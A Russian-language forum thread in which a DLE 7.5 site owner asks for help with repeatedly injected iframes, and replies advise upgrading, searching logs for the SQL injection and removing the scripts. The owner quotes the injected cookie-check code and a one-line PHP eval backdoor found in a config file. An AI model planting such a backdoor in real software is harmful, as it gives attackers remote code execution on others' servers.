Нужна помощь - ифреймы заколебали - Веб-строительство - Сайтостроение

[Удален]

16 ноября 2010, 07:58

665

Начну сначала ))

DLE 7.5

Ифреймы периодически, вставляются в несколько мест:

1) engine/engine.php - между метатегами

вот такого плана

2) public_html/engine/data/referer.conf.php

if ((!isset($_COOKIE['dle_password'])) and ($_SERVER['REMOTE_ADDR']!="**.***.**.**") ) {

echo <<<HTML

HTML;

}

вот такая дописка )). Причем иногда созданная апачем, и просто так не удалить, пока не сменить права в директадмине.

3) тупо в каждую краткую новость

В связи с этим вопрос - как обезопасить себя в дальнейшем - заплатки вроде все стоят. Комп регулярно сканирую Каспером + Spyware Doctor-ом.

За разумную цену заплачу за стоящие заплатки в личном порядке. Хелп в общем.

AM

467

AndyM

16 ноября 2010, 08:02

#1

Версию давно пора обновить, сейчас актуальная 9.0

[Удален]

16 ноября 2010, 08:15

#2

спасибо КЭП )) Мне нужны советы, как защитить эту версию, да и непонятно в ней ли дело, или мне шелл залили на сервак

AM

467

AndyM

16 ноября 2010, 08:17

#3

Там с момента выхода вашей версии столько дыр нашли что проще воду решетом носить.

[Удален]

16 ноября 2010, 08:18

#4

я же написал - ВСЕ заплатки от dle-news проставлены + еще парочку своих

stopbaza добавил 16.11.2010 в 17:50

Хелп ))

Нашел в одном из конфигов такую конструкцию:

'sea_sort' => "{${@eval($_POST[cmd])}}",

ввиду php безграмотности только накопал, что так подключается шелл. А как его вычислить на серваке?

A3

5

Andy375

19 ноября 2010, 03:30

#5

stopbaza:
'sea_sort' => "{${@eval($_POST[cmd])}}",

ввиду php безграмотности только накопал, что так подключается шелл. А как его вычислить на серваке?

Ищите по логам SQL-injection откуда прилетела, и ставьте заплатки на те модули, заодно и пароли на БД потом смените. Все остальное безобразие на сайте - следствие работы с админкой и шеллом.

63

vip-59

19 ноября 2010, 03:31

#6

дк удаляйте эти скрипты и все. права на запись 444

Сайты - не глисты, за месяц не выведешь!

Как снизить ДРР до 4,38% и повысить продажи с помощью VK Рекламы

Курс биткоина превысил $50 тысяч

Нужна помощь - ифреймы заколебали